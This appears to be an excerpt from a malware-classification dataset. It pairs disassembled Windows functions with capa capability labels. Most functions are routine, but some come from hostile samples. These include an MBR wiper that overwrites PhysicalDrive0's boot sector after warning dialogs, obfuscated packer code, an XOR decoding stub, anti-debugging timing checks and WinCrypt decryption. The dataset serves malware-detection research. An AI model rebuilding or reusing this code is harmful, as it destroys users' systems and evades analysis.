joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011212
Capabilities:
Terminate process

Disassembly:
jmp 0x140013820
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011299
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014b70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014b90
xor al, al
jmp 0x140014c11
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014ba3
xor al, al
jmp 0x140014c11
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014bcd
xor al, al
jmp 0x140014c11
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014be1
xor al, al
jmp 0x140014c11
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014bf3
xor al, al
jmp 0x140014c11
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014c0f
xor al, al
jmp 0x140014c11
mov al, 1
add rsp, 0x38
ret
Function at 0x1400113bb
Capabilities:
Create process on windows
Query environment variable

Disassembly:
jmp 0x140011a60
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x10a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6d8]
mov rax, qword [0x14001e180]
xor rax, rbp
mov qword [rbp + 0x658], rax
lea rcx, [0x1400240a3]
call fcn.1400113c5
mov dword [rbp + 0x370], 0x68
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
mov qword [rbp + 0x388], 0
mov dword [rbp + 0x390], 0
mov dword [rbp + 0x394], 0
mov dword [rbp + 0x398], 0
mov dword [rbp + 0x39c], 0
mov dword [rbp + 0x3a0], 0
mov dword [rbp + 0x3a4], 0
mov dword [rbp + 0x3a8], 0
mov dword [rbp + 0x3ac], 0
xor eax, eax
mov word [rbp + 0x3b0], ax
xor eax, eax
mov word [rbp + 0x3b2], ax
mov qword [rbp + 0x3b8], 0
mov qword [rbp + 0x3c0], 0
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 0
lea rax, [rbp + 0x3f8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x240]
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x140011ba9
xor eax, eax
jmp 0x140011c87
mov rax, qword [rbp + 0x680]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x240]
lea r8, str._sSystem32_s
mov edx, 0x208
lea rcx, [rbp + 0x10]
call fcn.140011226
lea rax, [rbp + 0x3f8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x370]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140011c25
xor eax, eax
jmp 0x140011c87
mov rax, qword [rbp + 0x690]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x688]
mov rcx, qword [rbp + 0x400]
mov qword [rax], rcx
mov rax, qword [rbp + 0x698]
mov ecx, dword [rbp + 0x408]
mov dword [rax], ecx
mov rax, qword [rbp + 0x690]
cmp qword [rax], 0
jne 0x140011c7e
mov rax, qword [rbp + 0x688]
cmp qword [rax], 0
jne 0x140011c7e
mov rax, qword [rbp + 0x698]
mov eax, dword [rax]
test rax, rax
je 0x140011c85
mov eax, 1
jmp 0x140011c87
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001aef0]
call fcn.140011339
mov rax, rdi
mov rcx, qword [rbp + 0x658]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x668]
pop rdi
pop rbp
ret
Function at 0x1400113ed
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
jmp 0x140011870
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x14001e180]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400240a3]
call fcn.1400113c5
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1400118f2
mov eax, 0xffffffff
jmp 0x1400119c8
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800c
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x14001191e
mov eax, 0xffffffff
jmp 0x1400119c8
xor r9d, r9d
mov r8d, dword [rbp + 0x158]
mov rdx, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x140011947
mov eax, 0xffffffff
jmp 0x1400119c8
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov edx, 0x6610
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x140011971
mov eax, 0xffffffff
jmp 0x1400119c8
lea rax, [rbp + 0x148]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x140]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x1400119a6
mov eax, 0xffffffff
jmp 0x1400119c8
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad90]
call fcn.140011339
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400063a0
Capabilities:
Encrypt data using rc4 prga
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
cdqe
bswap eax
cmovnp ax, r15w
push rsi
push rdi
cmc
sar al, cl
ror sil, 0xb3
push r14
sub rsp, 0x20
xadd r14b, al
xor si, 0x6be8
mov r14, 0x4f604699
lea rax, [rcx - 1]
and rsi, rsp
mov dword [rsp + 0x58], 0
btr si, 0x3e
rcl r14w, cl
mov r14, rdx
clc
mov rsi, rcx
cmp r15b, 0x22
test dil, spl
stc
cmp rax, 0xfffffffffffffffd
ja 0x1400065f6
mov eax, 0x5a4d
cmp word [rcx], ax
jmp 0x14000640b
jne 0x1400065f6
mov edi, dword [rcx + 0x3c]
cmp di, 0x2a8f
stc
lea rdi, [rdi + rcx]
cmp dword [rdi], 0x4550
jmp 0x140006429
jne 0x1400065f6
test rdi, rdi
jmp 0x140006437
je 0x1400065f6
movzx eax, word [rdi + 0x18]
mov ecx, 0x10b
stc
jmp 0x14000644c
mov qword [rsp + 0x48], rbp
cmp ax, cx
jmp 0x140006459
je 0x1400064ba
mov ecx, 0x20b
clc
stc
cmp ax, cx
jmp 0x14000646e
je 0x1400064a1
mov rbp, qword [rsp + 0x48]
btr eax, 0xda
mov eax, 0xfffffffe
xadd si, r14w
rcr dil, 0xa3
add rsp, 0x20
pop r14
pop rdi
movsxd rsi, esp
movzx si, spl
pop rsi
jmp 0x1400064a0
ret
mov rbp, qword [rdi + 0x30]
jmp 0x1400064b5
jmp 0x1400064ca
mov ebp, dword [rdi + 0x34]
bswap rcx
mov r8d, 0x93e7af9
movzx r8d, di
mov r8d, 5
movsx r9, bx
mov qword [rsp + 0x40], rbx
xchg r9w, r9w
not cl
lea r9, [rsp + 0x58]
mov rcx, rsi
jmp 0x1400064ec
call section..code0
test rax, rax
jmp 0x1400064f9
je 0x1400065d7
mov ebx, dword [rsp + 0x58]
test rsp, rbp
cmc
clc
test ebx, ebx
jmp 0x14000650f
je 0x1400065d7
mov rdi, rsi
movzx r9, r13w
btc rcx, 0xf7
cmp r15, rcx
sub rdi, rbp
adc r9, r15
bswap r8w
add rdi, r14
cwd
nop dword [rax]
shld cx, r13w, 0x7a
dec rdx
mov edx, dword [rax + 4]
movsx r9, r15w
lea r8, [rax + 8]
xor cl, r9b
mov ecx, dword [rax]
sub ebx, edx
bts r9, rdx
mov r9w, 0x3d57
rol r9w, cl
add edx, 0xfffffff8
sbb r9d, r9d
test dh, 0x35
add rcx, rsi
clc
bswap r9w
rcr r9b, 0x85
shr edx, 1
jmp 0x140006583
mov r9, rdi
jmp 0x14000658b
call fcn.14000661e
test rax, rax
jmp 0x140006598
je 0x1400065cd
test ebx, ebx
jmp 0x1400065a5
jne 0x140006543
sub eax, eax
mov rbx, qword [rsp + 0x40]
sal di, 0x32
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
movsx rsi, r15w
pop rsi
jmp 0x1400065cc
ret
mov eax, 0xfffffffe
jmp 0x1400065ad
movzx eax, byte [rdi + 0x16]
stc
test cx, 0x6ca3
and al, 1
neg al
jmp 0x1400065ea
sbb eax, eax
jmp 0x1400065f1
jmp 0x1400065ad
mov eax, 0xfffffffe
add rsp, 0x20
setg dil
not esi
jmp 0x14000660a
pop r14
bswap di
movsxd rdi, eax
pop rdi
setae sil
pop rsi
jmp 0x14000661d
ret
Function at 0x140006f65
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rbx
cbw
rcl bx, 0x64
mov qword [rsp + 0x20], rbp
neg bx
and bp, bp
sbb bpl, r8b
push rsi
sub rsp, 0x20
mov rbx, rcx
xadd eax, ecx
movzx bp, r9b
xor esi, esi
mov ecx, esi
bsf ax, dx
mov ebp, 0x5a4d
movzx ax, spl
cmc
bts rax, r8
lea rax, [rbx - 1]
jmp 0x140006fae
cmp rax, 0xfffffffffffffffd
jmp 0x140006fb7
ja 0x140006fe3
cmp word [rbx], bp
jne 0x140006fe3
mov eax, dword [rbx + 0x3c]
lea rax, [rax + rbx]
cmp r10b, 0xf6
cmp dword [rax], 0x4550
jmp 0x140006fdc
cmove rcx, rax
rol al, 0x10
mov eax, 0x2000
stc
cmp ch, 0x9a
test word [rcx + 0x16], ax
jmp 0x140006ff5
je 0x14000709c
lea rax, [rbx - 1]
jmp 0x140007008
cmp rax, 0xfffffffffffffffd
jmp 0x140007011
ja 0x14000704b
cmp word [rbx], bp
jne 0x14000704b
mov eax, dword [rbx + 0x3c]
adc dx, 0x5c9
add rax, rbx
cmp dword [rax], 0x4550
movsx rbp, si
xchg dl, bpl
mov cl, sil
cmove rsi, rax
btc dx, ax
sbb bpl, r11b
bts dx, r11w
mov eax, dword [rsi + 0x28]
xor r8d, r8d
btc rbp, r8
sal sil, cl
bt edx, r9d
lea rax, [rax + rbx]
neg bpl
cdq
movsx rsi, r11w
mov rcx, rbx
ror dh, 9
lea edx, [r8 + 1]
mov bh, dh
mov rbx, qword [rsp + 0x40]
shr sil, 0xf9
mov rbp, qword [rsp + 0x48]
btc esi, r12d
and rsi, 0x22ea131c
xchg rsi, rsi
add rsp, 0x20
pop rsi
jmp 0x14000709a
push rax
ret
mov r8d, 9
xchg r9, rcx
mov cl, 0xa6
lea r9, [rsp + 0x38]
mov rcx, rbx
jmp 0x1400070b4
call section..code0
test rax, rax
jmp 0x1400070c1
je 0x140007148
mov qword [rsp + 0x30], rdi
bts di, r9w
movsx di, r10b
mov rdi, qword [rax + 0x18]
test rdi, rdi
jmp 0x1400070e2
je 0x140007140
mov rax, qword [rdi]
test rax, rax
jmp 0x1400070f3
je 0x140007140
nop dword [rax]
nop dword [rax + rax]
movzx ecx, r9w
xor r8d, r8d
setl ch
movsx edx, r13w
not dl
lea rdi, [rdi + 8]
not rcx
mov rcx, rbx
lea edx, [r8 + 1]
jmp 0x140007128
call rax
mov rax, qword [rdi]
jmp 0x140007132
test rax, rax
jmp 0x14000713a
jne 0x140007109
mov rdi, qword [rsp + 0x30]
add ah, 0xec
lea rax, [rbx - 1]
clc
cmp cl, bl
test dl, ch
cmp rax, 0xfffffffffffffffd
jmp 0x14000715a
ja 0x140007197
cmp word [rbx], bp
jmp 0x140007168
jne 0x140007197
mov eax, dword [rbx + 0x3c]
sar bp, 0xbe
add rax, rbx
cmp dword [rax], 0x4550
setb bpl
mov rbp, 0x53de203b
cmove rsi, rax
sub al, 0xd4
or ah, 0xf0
bt ax, r12w
mov eax, dword [rsi + 0x28]
rcl rsi, 0xa2
bsr si, cx
lea rax, [rax + rbx]
sub sil, 0x6f
xchg sil, bpl
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
mov si, bp
movsx si, bpl
pop rsi
jmp 0x1400071c9
jmp rax
Function at 0x140008267
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
stc
push rdi
sub rsp, 0x90
jmp 0x14000827a
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rbx, rax
sar cx, 0x37
clc
bsf ecx, r12d
movzx ecx, word [rax]
cmp cx, 0x22
jmp 0x140008298
jne 0x1400082f8
nop
movzx edx, cx
cmp cl, r11b
cmp cx, 0x22
je 0x1400082d0
movzx ecx, word [rbx + 2]
or dl, r12b
btc edx, 0xee
add rbx, 2
movzx edx, cx
clc
test cx, cx
jmp 0x1400082ca
jne 0x14000829f
lea rax, [rbx + 2]
xor cx, r13w
bswap cx
not cl
cmp dx, 0x22
cmovne rax, rbx
mov rbx, rax
sete cl
movzx ecx, word [rax]
jmp 0x1400082f3
jmp 0x140008336
cmp cx, 0x20
jmp 0x140008301
jbe 0x140008336
nop dword [rax]
shl cx, 0xe9
nop word [rax + rax]
cmp bpl, cl
bts cx, sp
movsx rcx, r12w
movzx ecx, word [rbx + 2]
add rbx, 2
cmc
cmp cx, 0x20
ja 0x140008323
test cx, cx
jmp 0x14000833e
je 0x140008375
cmp cx, 0x20
jmp 0x14000834d
ja 0x140008375
movzx ecx, word [rbx + 2]
test r12b, 0x1c
cmp r13w, r8w
add rbx, 2
stc
cmp sil, r14b
test cx, cx
jmp 0x14000836f
jne 0x140008344
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x5c], 0
jmp 0x140008387
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call fcn.140008592
test byte [rsp + 0x5c], 1
movzx di, bl
movzx edi, word [rsp + 0x60]
jmp 0x1400083a5
jne 0x1400083b6
mov edi, 0xa
cmc
jmp 0x1400083b6
sub ecx, ecx
jmp 0x1400083bd
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, edi
mov r8, rbx
movsx cx, ch
ror cl, cl
btc cx, 0x13
mov rcx, rax
xor edx, edx
jmp 0x1400083de
call fcn.14000794a
mov ebx, eax
jmp 0x1400083ea
call fcn.140008401
mov ecx, ebx
jmp 0x1400083f6
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x14064e070
Capabilities:
Encode data using xor

Disassembly:
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14064e099
pop rbp
sub rbp, 0x29
sub rbp, 0x64e070
jmp 0x14064e0f9
sub rsp, 0x20
jmp 0x14064e109
mov rax, 0x64e070
add rax, rbp
add rax, 0xcb
mov rcx, 0x64a
mov rdx, 0x37f3944d
xor byte [rax], dl
inc rax
dec rcx
jne 0x14064e128
jmp 0x14064e13f
add eax, 0xc4c6a4c4
jno 0x14064e193
add rax, 0x4c458ccc
add rax, 0xffffffff8a05a44c
lea eax, [rbp + 0x4d]
add rax, 0x4d658f8a
add rax, 0x4c05afba
mov esi, es
int3
movsb byte [rdi], byte [rsi]
pop rbx
mov word [r13 + 0x55c7c4f], fs
int3
Function at 0x140001000
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov eax, dword [0x14001db64]
movsxd r9, ecx
cmp eax, 0x640001
jne 0x140001048
rdtsc
shl rdx, 0x20
or rax, rdx
mov rdx, rax
mov r8, rax
shl rdx, 0x1a
xor r8, rdx
mov rdx, r8
shr rdx, 0x22
xor r8, rdx
xor edx, edx
mov rax, r8
shl rax, 0xa
xor rax, r8
div r9
mov dword [0x14001db60], edx
mov eax, edx
ret
cmp eax, 0x860001
jne 0x14000107e
rdtsc
shl rdx, 0x20
or rax, rdx
mov rdx, rax
mov ecx, eax
shl ecx, 0xd
xor edx, ecx
mov ecx, edx
shr ecx, 0x11
xor edx, ecx
mov eax, edx
shl eax, 5
xor eax, edx
xor edx, edx
div r9d
mov dword [0x14001db60], edx
mov eax, edx
ret
mov eax, dword [0x14001db60]
ret

Function at 0x140001090
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [0x14001db80]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r9d, 0x134
mov dword [0x14001db60], 0
lea r8, str.Horanium.exe_by_Void___GetMbr_._Discord:_Void_2137
mov dword [0x14001db64], 0x640001
lea rdx, str.WARNING__r_n_r_nLooks_like_you_run_this_program.._r_nThen_this_program_is_a_malware_that_can_even_destroy_your_computer_as_well_r_nalso_if_you_have_photosensitive_epilepsy__do_not_run_this_program_then._r_n_r_nWell_if_you_want_to_see_the_2nd_warning_just_press_yes._Otherwise_No_if_you_want_to_maintain_your_computer_safe.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x14000110a
mov r9d, 0x134
lea r8, str.Horanium.exe_by_Void___GetMbr_._Discord:_Void_2137
lea rdx, str.LAST_WARNING___r_n_r_nThis_computer_will_be_destroyed_if_you_continue..._Also_youll_will_not_able_to_boot_into_Windows_again._r_nIm_not_responsible_for_any_damages._Also_this_malware_is_for_educational_purposes_only._r_nDo_you_still_want_to_continue__This_is_the_last_chance_to_close_this_program.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x14000110a
mov eax, 1
add rsp, 0x28
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001330
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x14001c008]
xor rax, rsp
mov qword [rsp + 0x270], rax
call fcn.140001090
lea rcx, [rsp + 0x30]
call fcn.140004b20
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
lea r8, [0x140005090]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1770
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
lea r8, [0x140004c10]
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1770
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
lea r8, [0x140001230]
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
lea r8, [0x140001150]
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x14001db68], 1
lea rax, [0x140001570]
mov qword [rsp + 0x70], rax
lea rax, [0x140001900]
mov qword [rsp + 0xa8], rax
lea rax, [0x140001b30]
mov qword [rsp + 0xe0], rax
lea rax, [0x140001d60]
mov qword [rsp + 0x118], rax
lea rax, [0x140002210]
mov qword [rsp + 0x150], rax
lea rax, [0x140002720]
mov qword [rsp + 0x188], rax
lea rax, [0x140002f90]
mov qword [rsp + 0x1c0], rax
lea rax, [0x1400033b0]
mov qword [rsp + 0x1f8], rax
lea rax, [0x140003850]
mov qword [rsp + 0x230], rax
je 0x1400014fe
mov qword [rsp + 0x290], rbx
mov ecx, 9
call fcn.140001000
movsxd rcx, eax
xor r9d, r9d
imul r8, rcx, 0x38
mov qword [rsp + 0x28], rbp
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebp
mov r8, qword [rsp + r8 + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3a98
mov rbx, rax
call fcn.140001000
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x14001db68], 1
jne 0x140001495
mov rbx, qword [rsp + 0x290]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
lea r8, [0x140001120]
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call fcn.140004a80
int3
Function at 0x140004b20
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x14001c008]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, str..PhysicalDrive0
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140004bb7
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], 0
mov r8d, 0x200
lea rdx, [0x140018fc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140004bde
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400050c0
add rsp, 0x90
pop rbx
ret
mov r9d, 0x10
lea r8, str.A_shit_error_has_been_occured
lea rdx, str.Error_while_opening_your_Hard_drive
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rsp + 0x40]
call fcn.140004a80
int3
mov r9d, 0x10
lea r8, str.A_shit_error_has_been_occured
lea rdx, str.Error_while_overwriting_your_bootloader.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x40]
call fcn.140004a80
int3

Function at 0x1400059d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005a1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005a1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005a1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005a1a
cmp dword [rcx + 0x84], 0xe
jbe 0x140005a1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005a1c
xor al, al
add rsp, 0x28
ret

Function at 0x140007bf4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007958

Function at 0x14000ead0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000eaf8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000eaf8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000631c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140010960], rbx
je 0x140006383
cmp rax, rbx
jne 0x140006376
mov ebx, 1
mov esi, ebx
jmp 0x140006388
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000635b
mov ebx, 1
mov eax, dword [0x140010968]
cmp eax, ebx
jne 0x1400063a0
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000640c
mov eax, dword [0x140010968]
test eax, eax
jne 0x140006401
mov dword [0x140010968], ebx
lea r15, [0x1400089c8]
lea rdi, [0x1400089b0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x1400063f3
test eax, eax
jne 0x1400063f7
cmp qword [rdi], r14
je 0x1400063e8
mov rax, qword [rdi]
mov rcx, qword [0x140008930]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1400063ca
test eax, eax
je 0x140006407
mov eax, 0xff
jmp 0x140006562
mov dword [0x14000e3e4], ebx
mov edi, 0x1f
mov eax, dword [0x140010968]
cmp eax, ebx
jne 0x140006433
lea rdx, [0x1400089a8]
lea rcx, [0x140008938]
call sub.msvcrt.dll__initterm
mov dword [0x140010968], 2
test esi, esi
jne 0x140006441
mov rax, r14
xchg qword [0x140010960], rax
cmp qword [0x140010970], r14
je 0x140006474
lea rcx, [0x140010970]
call fcn.140006730
test eax, eax
je 0x140006474
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140010970]
mov r9, qword [0x140008930]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000648d
mov eax, 0xff
jmp 0x140006562
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x140006513
test ax, ax
je 0x1400064a8
test edx, edx
jne 0x140006513
sub ax, bx
cmp ax, di
ja 0x1400064be
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x1400064a8
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140001394
mov dword [0x14000e3e0], eax
cmp dword [0x14000e400], r14d
jne 0x1400064fc
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000e3e4], r14d
jne 0x140006511
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000e3e0]
jmp 0x140006562
cmp ax, 0x22
jne 0x140006527
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x140006496
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
